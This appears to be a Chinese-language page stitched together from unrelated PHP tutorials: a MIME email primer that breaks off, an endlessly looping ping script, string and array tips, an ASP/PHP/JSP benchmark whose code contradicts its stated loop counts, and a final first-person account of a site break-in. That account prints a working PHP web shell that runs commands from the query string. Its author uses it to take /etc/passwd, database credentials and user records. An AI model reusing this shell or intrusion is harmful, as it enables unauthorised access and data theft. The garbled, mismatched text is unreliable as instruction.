2007年7月16日
已经厌倦了给你的朋友和客户发送那些单调乏味的文本通知和信件了吗?曾经考虑过发送附件或在邮中嵌入HTML吧。
答案就是MIME。接下来的几页解释了MIME的基础知识,创建符合MIME的信息,然后用一个可以工作的PHP类结束,这个类实现了发送符合MIME邮件。注意对调用脚本,调用者等等的引用表示使用了将要开发的类的脚本,客户程序/MUA等等表示邮件阅读的客户程序或邮件使用代理程序。
一些MIME基础
MIME表示多用途Internet邮件扩允协议。MIME扩允了基本的面向文本的Internet邮件系统,以便可以在消息中包含二进制附件。
MIME利用了一个事实就是,RFC 822在消息体的内容中做了一点限制:唯一的限制就是只能使用简单的ASCII文本。所以,MIME信息由正常的Internet文本邮件组成,文本邮件拥有一些特别的符合RFC 822的信息头和格式化过的信息体(用ASCII 的子集来表示的附件)。这些MIME头给出了一种在邮件中表示附件的特别的方法。
MIME信息的剖析
一个普通的文本邮件的信息包含一个头部分(To: From: Subject: 等等)和一个体部分(Hello Mr.,等等)。在一个符合MIME的信息中,也包含一个信息头并不奇怪,邮件的各个部分叫做MIME段,每段前也缀以一个特别的头。MIME邮件只是基于RFC 822邮件的一个扩展。然而它有着自已的RFC规范集。
头字段
MIME头根据在邮件包中的位置,大体上分为MIME信息头和MIME段头。(译者:MIME信息头指整个邮件的头,而MIME段头只每个MIME段的头。)
MIME信息头有:
MIME-Version:
这个头提供了所用MIME的版本号。这个值习惯上为1.0。
Content-Type:
它定义了数据的类型,以便数据能被适当的处理。有效的类型有:text,image,audio,video,applications,multipart和message。注意任何一个二进制附件都应该被叫做application/octet-stream。这个头的一些用例为:image/jpg, application/mswork,multipart/mixed,这只是很少的一部分。
Content-Transfer-Encoding:
这是所有头中最重要的一个,因为它说明了对数据所执行的编码方式,客户/MUA 将用它对附件进行解码。对于每个附件,可以使用7bit,8bit,binary ,quoted-printable,base64和custom中的一种编码方式。7bit编码是用在US ASCII字符集上的常用的一种编码方式,也就是,保持它的原样。8bit 和binary编码一般不用。对人类可读的标准文本,如果传输要经过对格式有影响的网关时对其进行保护,可以使用quoted printable 。Base64是一种通用方法,在需要决定使用哪一种编码方法时,它提供了一个不用费脑子的选择;它通常用在二进制,非文本数据上。注意,任何非7bit 数据必须用一种模式编码,这样它就可以通过Internet邮件网关!
Content-ID:
如果Content-Type是message/external-body或multipart/alternative时,这个头就有用了。它超出了本文的范围。
Content-Description:
这是一个可选的头。它是任何信息段内容的自由文本描述。描述必须使用us-ascii码。
Content-Disposition:
一个试验性的头,它用于给客户程序/MUA提供提示,来决定是否在行内显示附件或作为单独的附件。
MIME段头(出现在实际的MIME附件部分的头),除了MIME-Version头,可以拥有以上任何头字段。如果一个MIME头是信息块的一部分,它将作用于整个信息体。例如,如果Content-Transfer-Encoding显示在信息(指整信息)头中,它应用于整个信息体,但是如果它显示在一个MIME段里,它"只能"用于那个段中。
<?php
// created by joe lumbroso
// see some other good php3 scripts
// goto http://www.dtheatre.com/scripts
echo "<font color=\"red\"><blink><b>Pinging</b></blink></font><br>";
$to_ping = "dtheatre.com";
$count = 3;
$psize = 65;
echo " Please be patient, this can take a few moments...\n<br><br>";
flush();
while (1) {
?>
<pre>
<?
exec("ping -c $count -s $psize $to_ping", $list);
for ($i=0;$i < count($list);$i++) {
print $list[$i]."\n";
}
?>
</pre>
<?
flush();
sleep(3);
}
?>
学过C语言的人可能都知道,C语言对字符串的处理功能很强,PHP是用C写成的,自然不例外的继承了C
的处理字符串的优势。不过毕竟PHP是一门新的语言,与C语言还是有区别的,自然不能保证与C是完全相同
的。所以有些功能只有经过测试才能知道。
有时候需要对一个字符串的每个字符进行处理,一般的做法可能是:
$str="something";
for($i=0; $i<strlen($str); $i++)
{
$ch=substr($str, $i, 1);
//处理$ch
}
这样是可以,但是有没有更优美一点的办法呢?有,就是把它看成一个数组,C语言就是这样处理的。
我们把上面的例子,改成用字符串数组的处理方式:
$str="something";
for($i=0; $i<strlen($str); $i++)
{
$ch=$str[$i];
//处理$ch
}
这样是不是好多了。
删除数组元素
定义了一个数组,有时想删除其中几项怎么办?我在www.phpbuilder.com中看到了一个答案,就是使用
unset()函数。还是让我们做一个测试吧。
$a[]="a1";
$a[]="a2";
$a[]="a3";
for($i=0; $i<sizeof($a); $i++)
{
echo $a[$i] . "
";
}
unset($a[0]);
for($i=0; $i<sizeof($a); $i++)
{
echo $a[$i] . "
";
}
是什么意思呢?先生成一个有三个元素的数组$a,将其显示出来,然后,将第1个(下标为0)删除,再
显示出来。结果应该是数组还剩两个元素了。但是不对呀!答案与我们想的不一样,难道是unset() 不好用
吗?仔细想一想,原来unset($a[0])将第1个元素给删除了,但是输出时,我们还从$i=0 开始的,当然就不
对了,php可不会自动调整下标的。这样只好用别的方法处理了:
$a[]="a1";
$a[]="a2";
$a[]="a3";
for($i=0; $i<sizeof($a); $i++)
{
echo $a[$i] . "
";
}
unset($a[0]);
reset($a); //使数组指针回到第1个元素
while(list($c, $d)=each($a))
{
echo $d . "
"; //$c为数组下标
}
这是一个通用的显示数组的方法,可以不用考虑数组的下标了。
注意:sizeof()用于返回数组的个数,同count()一样
现在InterNet 越来越成为生活中不可或缺的一部分,制作网页的动态语言也越来越多,主要流行的有以下几种,ASP,PHP 和 JSP,他们之间互有优缺点。ASP 由于其简单功能实用等方面受到广大朋友的喜欢,再加上MS的强有力支持,可以说是时下作站点最为流行的语言,他借助MS的Com+ 技术,几乎可以实现在C/S 能够实现的所有功能,可以说确实具有相当的竞争力。ASp的代码实现也很简单,MS 提供的InterDev 在RAD 的基础上,使Asp 的开发一夜之间火遍了大江南北。但是他的缺点是,由于MS 长久以来的霸道作风,他只能运行在MS 的平台上,因此在关键性的应用上使人难以轻易接受。
PHP 则市秉承Linux 的GNU 风格,借助与源码公开,使他迅速成为世界上目前应用最为广泛的站点制作语言之一。借助与C++的形式,引用类的概念,使得代码的可重复性应用便的异常简单。加上他和Linux,Apache 和MySql 的紧密配合,关键性的应用也没有问题(有名的Sina就是采用Php)。但是他有一个比较大的麻烦,就是没有一个非常有实力的公司专门给他做支持,因此相关的学习资料比较少,目前在国内使用他的站点比较多,但是专门讲解他的站点就比较少。给初学者带来了很多的麻烦。
JSP 是Sun公司推出的新一代站点开发语言,他完全解决了目前ASP,PHP的一个通病--脚本级执行(据说PHP4 也已经在Zend 的支持下,实现编译运行).Sun 公司借助自己在Java 上的不凡造诣,将Java 从Java 应用程序 和 Java Applet 之外,又有新的硕果,就是Jsp--Java Server Page。Jsp 可以在Serverlet和JavaBean的支持下,完成功能强大的站点程序。
首先进行的是循环性能测试。
首先测试的是Jsp。
测试采用 20000*20000 次循环运算(有没有搞错,这么多),测试结果另人不可思议,该程序只用了不到 4 秒的时间就运行结束了。(没有搞错吧),程序代码如下:
<jsp:useBean id='clock' scope='page' class='dates.JspCalendar' type="dates.JspCalendar"/>
<jsp:getProperty name="clock" property="time" />
<%
int i=0;
int j=0;
int k=0;
for(i=0;i<20000;i++){
for(j=0;j<20000;j++){
}
}
%>
<jsp:useBean id='clock1' scope='page' class='dates.JspCalendar' type="dates.JspCalendar"/>
<jsp:getProperty name="clock1" property="time" />
下一步测试的是 PHP,最初也准备测试 20000*20000次,但是不管把程序最大运行时间调的再大,也无法运行结束,因此改为 2000*2000 ,运行时间竟然达到 84 秒,程序代码如下:
<?
$TTime=date("Y-n-d"). " " . date("H:i:s");
echo $TTime;
echo "<br>";
for($i=0;$i<1000;$i++){
for($j=0;$j<1000;$j++){
}
}
$TTime=date("Y-n-d"). " " . date("H:i:s");
echo $TTime;
?>
最后进行的是Asp 的测试,测试的循环也是 2000*2000(几个0可要看清楚),运行时间是 63 秒,程序代码如下:
<%
response.write now
response.write "<br>"
for i=0 to 2000
for j=0 to 2000
next
next
response.write now
%>
对 Oracle 8 进行 1000 次 Insert,Update,Select,和Delete:
Jsp 需要 13 秒
Php 需要 69 秒
ASP 需要 73 秒
目前,我发现某个社区网站中的一个上传“我的照片”功能有着很大的安全隐患,因为上传程序未对上传的文件做分析,从而我可以上传一个test.php的文件, 然后服务器上的名字就为?????.php(?????为数字),
我的PHP内容如下:
<?
$dbs=mysql_connect($strDBHost,$strDBUser,$strDBPassword);
……
mysql_close($dbs);
?>
当然……中我只作了个测试,没有真正使用数据库,但是我以另一个PHP,?????.php,内容如下:
<?
$query=getenv("QUERY_STRING");
$command=urldecode($query);
$stdout=system("$command");
echo "$stdout";
?>
成功的取得
$strDBHost = "?.?.?.?";
$strDBPassword = "????";
$strDBUser = "root";
并连上数据库
然后用后一个PHP把上传的PHP命名为CMD.PHP和DB.PHP
成功取得/ETC/PASSWD和该网站的首页面MAIN.PHP源码。
然后我发信警告网管,但是他们在第一天没及时修补漏洞,于是我对数据库进行分析,并上传了个MB.PHP,成功的得到数据库内的用户信息。
今天他们采取的修补手段是把那个可以上传的目录移去,不过这将导致用户暂时不能浏览、上传照片。
所以进行此类设计时,应该考虑到恶意用户通过直接调用url,把恶意数据传个程序,而不能以为网页在服务器端就安全了!